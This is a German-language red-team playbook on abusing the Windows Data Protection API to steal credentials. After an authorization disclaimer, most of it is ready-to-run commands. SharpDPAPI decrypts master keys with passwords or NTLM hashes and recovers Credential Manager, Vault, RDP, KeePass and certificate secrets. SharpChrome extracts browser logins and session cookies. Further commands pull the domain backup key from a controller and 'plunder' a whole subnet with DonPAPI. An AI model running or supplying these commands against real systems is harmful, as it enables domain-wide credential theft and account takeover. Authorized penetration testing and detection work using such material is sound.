Was macht Abusing DPAPI for Credential Access?
Rechtlicher Hinweis: Diese Fähigkeit ist ausschließlich für autorisierte Penetrationstests, Red-Team-Aufträge und zu Bildungszwecken bestimmt. Das Extrahieren von Zugangsdaten von Systemen, die Sie nicht besitzen oder für die Sie keine explizite schriftliche Genehmigung zum Testen haben, ist illegal und kann gegen geltende Computerbetrugs- und Missbrauchsgesetze verstoßen. Handeln Sie stets im Rahmen einer unterschriebenen Rules-of-Engagement und dokumentieren Sie jede Aktion.
Überblick
Die Windows Data Protection API (DPAPI) ist der systemeigene symmetrische Verschlüsselungsdienst des Betriebssystems, den Anwendungen nutzen, um Geheimnisse im Ruhezustand zu schützen: gespeicherte RDP- und Windows Credential Manager-Zugangsdaten, Web- und WLAN-Anmeldedaten im Credential Vault, gespeicherte Browser-Logins und -Cookies (Chrome/Edge), KeePass-Schlüssel, private Zertifikatschlüssel und geplante Aufgaben-Passwörter. DPAPI leitet einen benutzer-(oder maschinen-)bezogenen Master-Key aus dem Benutzerpasswort (oder dem Maschinenkonten-Geheimnis) ab, und dieser Master-Key verschlüsselt einzelne "DPAPI-Blobs". Die verschlüsselten Master-Keys liegen unter %APPDATA%\Microsoft\Protect\<SID>\ (Benutzer) und %WINDIR%\System32\Microsoft\Protect\ (Maschine).
Red-Team-Mitglieder missbrauchen DPAPI, um Klartext-Geheimnisse wiederherzustellen, nachdem sie einen Fuß gefasst haben, und ordnen dies MITRE ATT&CK T1555.004 (Credentials from Password Stores: Windows Credential Manager) zu. Es gibt drei primäre Entschlüsselungspfade:
- Online / kontextbasiert – Bei Ausführung als Zielbenutzer entschlüsselt die DPAPI-API (
CryptUnprotectData) die Blobs des Benutzers transparent. SharpDPAPIs/unprotect-Flag verwendet dies. - Offline mit dem Benutzerpasswort oder NTLM-Hash – Entschlüsseln Sie die Master-Keys des Benutzers mit
/password:oder/ntlm:, dann entschlüsseln Sie die Blobs offline (ideal für triagierte, von einem Host abgeholte Dateien). - Domänenweit mit dem DPAPI-Backup-Key – Domain-Admins können den RSA-DPAPI-Backup-Key der Domäne (
.pvk) einmal extrahieren und dann alle Master-Keys jedes Domänenbenutzers für immer online oder offline mit/pvk:entschlüsseln.
Die kanonischen Werkzeuge sind SharpDPAPI (GhostPack, ein C#-Port der DPAPI-Funktionalität von Mimikatz) für Windows, SharpChrome für Browser-Geheimnisse und Mimikatz (dpapi::*) als ursprüngliche Implementierung. Unter Linux führen Impackets dpapi.py und donpapi eine ferne/offline Triage durch.
Wann es zu verwenden ist
- Nach Kompromittierung eines Windows-Hosts, bei dem der Benutzer RDP-, Browser- oder Vault-Zugangsdaten gespeichert hat, die für die seitliche Bewegung lohnenswert sind.
- Wenn Sie das Passwort oder den NTLM-Hash eines Benutzers haben und dessen DPAPI-geschützte Geheimnisse offline entschlüsseln möchten.
- Wenn Sie Domain-Admin sind und den DPAPI-Backup-Key der Domäne erhalten möchten, um geschützte Daten jedes Benutzers in der gesamten Umgebung zu entschlüsseln.
- Beim Triagieren exfiltrierter Verzeichnisse wie
Credentials,VaultoderProtectaus Datenträgerimages. - Während Purple-Team-Übungen zur Validierung der Erkennung von DPAPI-Master-Key-Zugriffen und LSASS/Protect-Ordner-Lesevorgängen.
Voraussetzungen
- Ein autorisierter Fuß im Netz (interaktive Sitzung, Beacon oder Remote-Admin) auf dem Ziel-Windows-Host.
- Kenntnis der SID des Zielbenutzers und eines der folgenden: Benutzersitzung, Passwort, NTLM-Hash oder Domain-Admin-Rechte für den Backup-Key.
- Werkzeuge (aus dem Quellcode kompilieren oder Release-Binärdateien verwenden; nur von offiziellen Upstream-Quellen beziehen):
# SharpDPAPI / SharpChrome (GhostPack) – mit Visual Studio / msbuild bauen
git clone https://github.com/GhostPack/SharpDPAPI.git
# SharpDPAPI.sln öffnen und Release bauen, oder:
msbuild SharpDPAPI.sln /p:Configuration=Release
# Mimikatz (ursprüngliche DPAPI-Implementierung)
# https://github.com/gentilkiwi/mimikatz/releases
# Linux Remote/Offline Triage (Impacket)
pipx install impacket # stellt dpapi.py / impacket-dpapi bereit
pipx install donpapi # https://github.com/login-securite/DonPAPI
Ziele
- Einen Host auf DPAPI-geschützte Anmeldeinformations-, Vault-, RDP- und Zertifikats-Blobs triagieren.
- Benutzer-Master-Keys online (
/unprotect), mit einem Passwort/Hash oder mit dem Domänen-Backup-Key entschlüsseln. - Klartext-Geheimnisse aus Credential Manager und Vault wiederherstellen.
- Gespeicherte Browser-Logins und -Cookies mit SharpChrome extrahieren.
- Den DPAPI-Backup-Key der Domäne abrufen und für die entschlüsselung in der gesamten Umgebung wiederverwenden.
MITRE ATT&CK Mapping
| Technik-ID | Name | Taktik | Relevanz |
|---|---|---|---|
| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI schützt Credential Manager / Vault-Einträge; die Entschlüsselung von Master-Keys und Blobs stellt diese gespeicherten Anmeldedaten wieder her. |
| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome entschlüsselt DPAPI-geschützte Chrome/Edge-Logins, -Cookies und State-Keys. |
| T1003 | OS Credential Dumping | Credential Access | Das Extrahieren von Master-Keys / Backup-Keys ist eine Form des Credential Material Dumpings. |
Arbeitsablauf
1. Host auf DPAPI-Blobs triagieren
Führen Sie den SharpDPAPI-Befehl triage im Kontext des Benutzers aus, um automatisch Anmeldedaten, Vaults, RDG/RDP-Dateien und Zertifikate zu enumerieren und (wo möglich) zu entschlüsseln:
# Online-Triage im Kontext des aktuellen Benutzers (verwendet CryptUnprotectData)
SharpDPAPI.exe triage /unprotect
# Maschinen-Triage (erfordert lokalen Admin / SYSTEM) für maschinenbezogene Blobs
SharpDPAPI.exe machinetriage
2. Benutzer-Master-Keys offline entschlüsseln (Passwort oder NTLM-Hash)
Wenn Sie das Passwort oder den Hash des Benutzers haben, entschlüsseln Sie dessen Master-Keys in eine {GUID}:SHA1-Zuordnung, die Sie dann gegen einzelne Blobs wiederverwenden können:
# Alle Master-Keys des aktuellen/angegebenen Benutzers mit dem Passwort entschlüsseln
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
# Master-Keys mit dem NTLM-Hash des Benutzers anstelle des Passworts entschlüsseln
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
# Ausgabe sind GUID:SHA1-Zeilen – an die Befehle für Anmeldedaten/Vaults übergeben
3. Credential Manager- und Vault-Geheimnisse wiederherstellen
Verwenden Sie die entschlüsselte Master-Key-Zuordnung (oder /pvk:), um die gespeicherten Anmeldedaten und Vault-Einträge zu entschlüsseln:
# Credential Manager-Blobs mit einer GUID:SHA1-Zuordnung entschlüsseln
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
# Oder auf einen Ziel-Credentials-Ordner zeigen und mit dem Domänen-Backup-Key entschlüsseln
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
# Credential Vault-Einträge entschlüsseln
SharpDPAPI.exe vaults /pvk:backupkey.pvk
4. RDP-, KeePass- und Zertifikats-Geheimnisse entschlüsseln
# Gespeicherte RDCMan.settings RDP-Passwörter (aktueller Benutzerkontext)
SharpDPAPI.exe rdg /unprotect
# KeePass DPAPI-geschützte Master-Keys
SharpDPAPI.exe keepass /unprotect
# Private Zertifikatschlüssel (exportieren Sie nutzbare .pem mit /showall für alle Speicherorte)
SharpDPAPI.exe certificates /unprotect /showall
5. Browser-Anmeldedaten mit SharpChrome extrahieren
SharpChrome entschlüsselt Chrome/Edge-Logins und -Cookies. Modernes Chromium verwendet einen anwendungsgebundenen "State Key", den SharpChrome über DPAPI auflöst:
# Gespeicherte Logins für den aktuellen Benutzer entschlüsseln
SharpChrome.exe logins /unprotect
# Cookies (nützlich für Session-Hijacking) in einem Zielordner entschlüsseln
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
# Den AES-State-Key explizit auflösen
SharpChrome.exe statekeys /unprotect
6. Den DPAPI-Backup-Key der Domäne abrufen (Domain-Admin)
Mit Domain-Admin-Rechten den privaten RSA-DPAPI-Backup-Key der Domäne einmal abrufen. Dieser Key entschlüsselt die Master-Keys jedes Domänenbenutzers dauerhaft:
# Den Domänen-Backup-Key als .pvk über die MS-BKRP-RPC-Schnittstelle abrufen und speichern
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
Dann offline die Master-Keys jedes Benutzers damit entschlüsseln:
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
7. Ferne / Linux-basierte Triage (Impacket / DonPAPI)
Von einem Linux-Operator-Computer aus DPAPI-Geheimnisse über mehrere Hosts hinweg sammeln und entschlüsseln:
# Eine einzelne Master-Key-Datei mit Impacket und dem Domänen-Backup-Key entschlüsseln
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk
# Einen Anmeldeinformations-Blob mit dem wiederhergestellten Master-Key entschlüsseln
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>
# Massenhaft ferne DPAPI-Plünderung über Hosts hinweg mit DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
Werkzeuge und Ressourcen
| Werkzeug | Zweck | Link |
|---|---|---|
| SharpDPAPI | Windows DPAPI Triage/Entschlüsselung (C#) | https://github.com/GhostPack/SharpDPAPI |
| SharpChrome | Entschlüsselung von Chromium-Logins/-Cookies/State-Keys | https://github.com/GhostPack/SharpDPAPI |
| Mimikatz | Ursprüngliche DPAPI (dpapi::*)-Implementierung | https://github.com/gentilkiwi/mimikatz |
| Impacket dpapi.py | Ferne/Offline DPAPI-Entschlüsselung (Python) | https://github.com/fortra/impacket |
| DonPAPI | Massenhafte ferne DPAPI-Plünderung | https://github.com/login-securite/DonPAPI |
| HackTricks DPAPI | Technikreferenz | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
Erkennungs- und OPSEC-Hinweise
- Der Zugriff auf Master-Keys und Lesevorgänge in
\Microsoft\Protect\und\Microsoft\Credentials\sind erkennbar;backupkeylöst einen MS-BKRP-RPC-Aufruf an den DC aus. - Der
/unprotect(Online)-Pfad ist die unauffälligste Einzelhost-Option, funktioniert aber nur als der aktive Benutzer. - Verteidiger sollten auf Sysmon-Prozesszugriffe auf LSASS und ungewöhnliche Zugriffe auf Protect-/Credentials-Ordner achten (DE.CM-01).
Validierungskriterien
- Host mit
SharpDPAPI triage/machinetriagetriagiert. - Benutzer-Master-Keys über
/unprotect,/password:,/ntlm:oder/pvk:entschlüsselt. - Credential Manager- und Vault-Geheimnisse wiederhergestellt.
- RDP-/KeePass-/Zertifikats-Geheimnisse extrahiert, wo vorhanden.
- Browser-Logins/-Cookies mit SharpChrome entschlüsselt.
- Domänen-DPAPI-Backup-Key mit Domain-Admin abgerufen (falls im Umfang) und offline wiederverwendet.
- Alle wiederhergestellten Geheimnisse mit Quellhost/-Benutzer dokumentiert und Einhaltung der ROE bestätigt.